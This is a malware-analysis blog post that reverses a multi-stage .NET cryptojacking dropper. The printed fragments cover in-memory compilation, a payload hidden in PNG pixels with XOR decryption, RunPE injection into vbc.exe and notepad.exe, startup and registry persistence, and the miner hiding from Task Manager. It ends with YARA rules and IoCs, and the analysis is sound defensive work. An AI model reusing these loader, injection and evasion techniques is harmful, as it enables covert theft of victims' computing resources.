Some fun with a miner

A few weeks ago I came across a malware that gave me some interests to dig more into it. It has a curious way to deploy itself, set up a miner on the machine and hide it behind some legit processes.

In an example, when we look at Process Hacker :

  • Visual Basic Compiler is launched without reasons
  • An awkward child process “Notepad.exe” is consuming a lot of CPU

process_hacker

At first glance, my first thought was “What the heck is going on there ?”

First stage

All begin with a sample available at this address :

hxxp://netload.trade/ghghdshch130.exe

This is a .NET application and starts at this EntryPoint :

static void StatusBarPanelCollection(string[] args) {
	ToolStripItemEventArgs.ExprVisitorBase().EntryPoint.Invoke(null, null);
}

The first thing called behind is an Assembly method named ExprVisitorBase().

public static Assembly ExprVisitorBase() {
  CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();
  CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(new CompilerParameters
    {
      IncludeDebugInformation = true,
      GenerateExecutable = false,
      GenerateInMemory = true,
      IncludeDebugInformation = true,
      ReferencedAssemblies = 
        {
          string.Format(.POasdIsd("U3lzdGVtLkRyYXdpbmcuZGxs"), new object[0])
        },
        CompilerOptions = string.Format(.POasdIsd("L29wdGltaXplKyAvcGxhdGZvcm06WDg2IC9kZWJ1ZysgL3RhcmdldDp3aW5leGU="), new object[0])
    }, new string[]
    {
      ToolStripItemEventArgs.SizeSoapParameterAttribute.Replace(string.Format(.POasdIsd("I3Jlc25hbWUj"), new object[0]), 
      .POasdIsd("ekp5blhVaktUbFpw")).Replace(string.Format(.POasdIsd("I3Bhc3Mj"), new object[0]), .POasdIsd("VVVlb0NvaXBHdVZj"))
    });
  return compilerResults.CompiledAssembly;
}

This program is going to programmatically compile some code. Indeed, it is possible in .NET to access to the C# compiler with the help of the CSharpCodeProvider class. The call to CompileAssemblyFromSource is where the assembly gets compiled. This method takes the parameters object (CompilerParameters) and the source code, which is a string.

First, if we look deeper into the CompilerParameters object, the configuration let us understand that the new program will be a DLL file and there will be no trace on disk. It will require a specific reference to being able to work, but the string is obfuscated and required “POasdIsd” to be decoded.

internal class 
{
 	public static string POasdIsd(string string_0)
	{
		byte[] bytes = Convert.FromBase64String(string_0);
		return Encoding.UTF8.GetString(bytes);
	}
}

It’s easy to understand “POasdIsd” is just a Base64decode function, and our encoded string is, in fact, the word “System.Drawing.dll”. So this means, this reference is required to compile the source code.

If we continue the analysis, it sets some compiler argument. decoded, this will be compiled in debug mode for an x86 platform :

/optimize+ /platform:X86 /debug+ /target:winexe

So now, the only thing needed is the source code and it’s stored in the variable SizeSoapParameterAttribute, which is of course also obfuscated by a Base64 encoding and additionally encrypted with a XOR key (5).

public static string SizeSoapParameterAttribute = 
    ToolStripItemEventArgs.ASSEMBLY_FLAGS(
        .POasdIsd("cHZsa2IlVnx2c ... D4ID3gPeCUID3g="), 5
);

If we place some breakpoint on the debugger we can see step by step, the generated c# source code

Generating_cs
Give me my source code, please…

When everything is done, the compilation could be done. We can see that with Process Monitor.

procmon.png

Second stage

At this state, the DLL is compiled and loaded on memory. No need to extract and decompiled it because we have the code! So if we look deeper into it, this file contains a lot of spaghetti code, but the main class is easy to find.

Second_code.png

When we rename some function, it’s clearer to understand the goal of this library.

private static string xorKey = "UUeoCoipGuVc";
private static byte[] Payload;

...

private static void Main()
{
  try
  {
    IntPtr hResInfo = Program.FindResource(new IntPtr(0), new IntPtr(138), new IntPtr(23));
    uint size = Program.SizeofResource(new IntPtr(0), hResInfo);
    IntPtr hResData = Program.LoadResource(new IntPtr(0), hResInfo);
    IntPtr source = Program.LockResource(hResData);
    Program.Payload = new byte[size];
    Marshal.Copy(source, Program.Payload, 0, Convert.ToInt32(num));
    Program.Payload = Program.XOR(Program.ConvertFromBmp(Program.Byte2Image(Program.Payload)));
    Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));
    thread.Start();
  }
  catch
  {
  }
}

So when it’s loaded into memory. It will request an HTML resource (IntPtr(23) is RT_HTML) of the main program, so if you debug this DLL on DNspy, it will crash because it will target a resource that does not exist on it. So let’s go back a bit on “ghghdshch130.exe” and inspect .rsrc. We have a curious file with named 138 (which is the Resource ID)

138 RT

So if we inspect it, this is a PNG file, with a 461 x 461 dimension, 8-bit/color RGBA, non-interlaced.

Image.png

So now lets the magic happen… With the code seen as above, this image is converted into a byte array and then again into an image (Bitmap format). The main reason here,  its to be able to use ConvertFromBmp, the most important function of the DLL file. The goal is to reorganized properly into memory, the different sections of the payload with the help of BlockCopy. So it will copy pixel per pixel on the correct destination offset with a 4 bytes buffer each time.

I clean the code to understand clearly the steps.

private static byte[] ConvertFromBmp(Bitmap imageFile) { 
 int width = imageFile.Width; 
 int correctSize = width * width * 4; 
 byte[] correctOffset = new byte[correctSize]; 
 int size = 0; 
 for (int x = 0; x < width; x++) { 
   for (int y = 0; y < width; y++) { 
     Buffer.BlockCopy(BitConverter.GetBytes(imageFile.GetPixel(x, y).ToArgb()), 0, correctOffset, size, 4); 
     size += 4; 
   } 
 }

 int finalSize = BitConverter.ToInt32(array, 0); 
 byte[] XorPayload = new byte[finalSize]; 
 Buffer.BlockCopy(correctOffset, 4, XorPayload, 0, XorPayload.Length); 
 
 return XorPayload; 
}

So now, our payload is almost done, it has just be decrypted with a specific xor key, in this case, its the value “UUeoCoipGuVc”

internal class Program
{
private static byte[] XOR(byte[] bytes)
{
  byte[] bytes2 = Encoding.Unicode.GetBytes(Program.XorString);
  for (int i = 0; i < bytes.Length; i++)
  {
  int num = i;
  bytes[num] ^= bytes2[i % 16];
  }
  return bytes;
}

When the payload is “finally” created, the assembly object is loaded into a thread.

Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader)); 
thread.Start();

Third Stage

So if you believe that everything is done. Well, unfortunately, you are very wrong ! This is packed/obfuscated… again!

throw.gif

Without entering into some madness to understand the code, I note that there are three files right now in the resource folder.

resources.png

Two of them are XOR encrypted payloads and one is a text file with Base64 encoded strings. When we look into the “shitty” code to understand what is the purpose of the text file, this is in fact, a Manifest Resource Stream, a content that is embedded in the assembly at compile time. With some lines of python code, let’s see what we have when everything is decoded :

 => python3 manifest.py 
...
'RSRCNAME'
'RSRCPWD'
'Dotwall Evaluation'

The last entry is pretty interesting because it shows us that this stage is in fact packed with Dotwall, a .NET obfuscator that is not available on the public on this day (or it looks like).

So what is the goal of this stage?

First, it copies the first stage on the main user directory and keeps the new path into memory for future purposes. Then delete the alternate stream name Zone.Identifier of this file, so it permits here, to erase its traces to confirm this malware was downloaded from the outside network.

Then it sets a persistence trick with an Internet Shortcut file created on Windows startup menu named “rTErod.url”‘, which could probably explain why the Zone.Identifier task was done above.

[InternetShortcut]
URL=file:///C:/Users/user/bsdsjdpjcqdpcdq.exe

Then, it searches if the visual basic compiler is present on the machine, and inject the resource “rWyMgsOzOKRu” into it. To simplify the way how the program decrypts this file, with all the interaction of different classes and the manifest that leads us to hundreds line of code, I could summarize this with just 10 lines of C# source code.

byte[] buffer = File.ReadAllBytes("xplACLWqdLvY"); // Xor Key 
byte[] bytes = Encoding.Unicode.GetBytes("rWyMgsOzOKRu"); // Encrypted Payload

for (int i = 0; i < buffer.Length; i++) {
    buffer[i] ^= bytes[i % 16];
}

using (var decrypted = new FileStream("decrypted_resource.exe", FileMode.Create, FileAccess.Write)) {
 decrypted.Write(bytes, 0, byteArray.Length);
}       

this Assembly is named “adderalldll” and remains to Adderall Protector.

AdderallDll.png

adderall_logo.png

adderall_topics

After some cleaning, this tool is called by using some reflection.  The run() method of the new Object class (Adderall) is invoked with some additional arguments in entries:

  • @”C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe”
  • “”
  • DecryptPayload(cryptedResource) // <= Our Final Unpacked Malware
  • true
Type Adderall_resource = exportedTypes[pos];
object Adderall = Activator.CreateInstance(Adderall_resource);
vbcPath = @"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe";

Adderall_resource.InvokeMember("run", BindingFlags.InvokeMethod, null, Adderall, new object[] {
 vbcPath, 
 "",      
 DecryptPayload(cryptedResource), 
 true 
});

Fourth Stage

So what we have into the adderall.dll? Well… This is obfuscated with Dotwall and It looks like there are no embedded payload resources, just the manifest stream file. It means that we are very close to our final miner malware!

adderall_rsrc

So let’s see what we have again on the decoded Manifest :

=> python3 manifest.py 
...
'kernel32'
'CreateProcessA'
'kernel32'
'GetThreadContext'
'kernel32'
'Wow64GetThreadContext'
'kernel32'
'SetThreadContext'
'kernel32'
'Wow64SetThreadContext'
'kernel32'
'ReadProcessMemory'
'kernel32'
'WriteProcessMemory'
'ntdll'
'NtUnmapViewOfSection'
'kernel32'
'VirtualAllocEx'
'kernel32'
'ResumeThread'
...
'Dotwall Evaluation'

Typically, we understand that the goal here its execute some process injection and the process vbc.exe will host the malware.

Fifth Stage

So now, that our miner is finally deployed, let’s do some analysis on it. The first thing that we see here is that this one is developed in C/C++.

The malware is checking if it’s running on 32 or 64 bits with the help of IsWow64Process and will decide where it will do some process injection:

  • If it’s 32 bits, the miner will be behind wuapp.exe
  • If it’s 64 bits, the miner will be behind notepad.exe

process_choice.png

As below, this is an example of a process injection of notepad.exe behind Winrar.exe, a child process of explorer.exe

Process Injection

It looks like that we have here an xmrig miner at reading the command line if we check directly on the help display, its identical.

  -a, --algo=ALGO          cryptonight (default) or cryptonight-lite
  -o, --url=URL            URL of mining server
  -O, --userpass=U:P       username:password pair for mining server
  -u, --user=USERNAME      username for mining server
  -p, --pass=PASSWORD      password for mining server
  -t, --threads=N          number of miner threads
...
  -c, --config=FILE        load a JSON-format configuration file
...

To confirm if it’s this specific miner, let’s dump memory on base address 0x400000 :

Notepad_Miner

Our PE header is erased and compressed with UPX

UPX_xmrig.png

…and with a quick search, our xmrig miner is right here 🙂

miner_xmrig.png

Miner config Setup

The malware is generating a specific xmrig config file for the victim machine. First, it pushed the miner pool and the user account.

xmrig

Then, the typical xmrig config file is generated and saved into two files “cfg” and cfgi”.

config_file.png

In this example, the output config file is this :

{{ "algo": "cryptonight", "background": false, "colors": true, "retries": 5, "retry-pause": 5, "syslog": false, "print-time": 60, "av": 0, "safe": false, "cpu-priority": null, "cpu-affinity": null, "threads": 1, "pools": [ { "url": "xmr.pool.minergate.com:45560", "user": "todipacrypto@protonmail.com", "pass": "x", "keepalive": false, "nicehash": false } ], "api": { "port": 0, "access-token": null, "worker-id": null }}
Persistence

Another persistence is also added at this step, a registry key is created and this entry is periodically checked.

registry

The executable file linked with the registry is in the same folder with the miner configurations and this is a legit vbc.exe process 🙂

appdata
So at the end, you are here…
legit_vbc
Hiding Method

This malware checks if the task manager is launched.

FindTaskMgrExe

if it matches, it will shutdown notepad.exe process, if the miner is currently executed. Then, the miner will not restart it again as long as taskmgr is still opened.

kill_notepad.png

Summary

  1. We have an executable who compiled and injected itself a DLL
  2. This DLL deploys another executable which was behind a fake PNG file and was also injected into the first payload
  3. In this program, a DLL named Adderall is Invoked, this permits to deploy the unpacked malware into visual basic compiler with the help of RunPE
  4. Our final malware will set up a miner config and injects xmrig into a notepad.exe or wuapp.exe (according to a 32 or 64 bits Operating System).

DU-IJlvXUAUrBRu.jpg

Yara rules

Xmrig Miner Malware

rule XmrigMinerMalware {
    meta:
        description = "Xmrig Miner Malware"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $s1 = "\\cfg" wide ascii
        $s2 = "\\cfgi" wide ascii
        $s3 = "\\notepad.exe" wide ascii
        $s4 = "\\wuapp.exe" wide ascii
        $s5 = "--show-window" wide ascii
        $s6 = "taskmgr.exe" wide ascii
        $s7 = "Miner" wide ascii
    condition:
        $mz at 0 and all of ($s*) 
}

Adderall Protector

rule Adderall {
    meta:
        description = "Adderall Protector"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $n1 = "#Blob" wide ascii
        $n2 = "#GUID" wide ascii
        $n3 = "#Strings" wide ascii

        $s1 = "adderalldll" wide ascii
    condition:
        $mz at 0 and (all of ($n*) and $s1)
}

Dotwall Obfuscator

rule DotWall {
    meta:
        description = "Dotwall Obfuscator"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $n1 = "#Blob" wide ascii
        $n2 = "#GUID" wide ascii
        $n3 = "#Strings" wide ascii

        $s1 = "RG90d2Fsb" wide ascii
    condition:
        $mz at 0 and (
            all of ($n*) and $s1
        )
}

IoC

todipacrypto@protomail.com _

517AC5506A5488A1193686F66CB57AD3288C2258C510004EDB2F361B674526CC
AA28AA381B935EB98A6B3DEC4C86E1570EF142B041DB4255445C52A81F57A02F
40F5D5BBC054BA193B3D46BA1AE113AC9C9FCAFDDEC52CF02F82C4A22BF9F15F
0C5FC323873FBE693C1FF860282F035AD447050F8EC37FF2E662D087A949DFC9
7C23DA75BA54998363C4E278488F05588FB4E7D8201CCDAA870DD93F0328B911
BECDCC441E29D518D2258F0718000EBD0848ADB4CEFA00223F386A91FDB11677

Conclusion

This miner was pretty cool to reverse for using differents techniques. Good time (and some headaches) to explain and understand the different tasks.

Happy Hunting

Happy Hunting!

2 thoughts on “Some fun with a miner

  1. Great job on reversing my crypter. I used to code all that dipshit.

    I really like your style of writing. Keep going!

Leave a Reply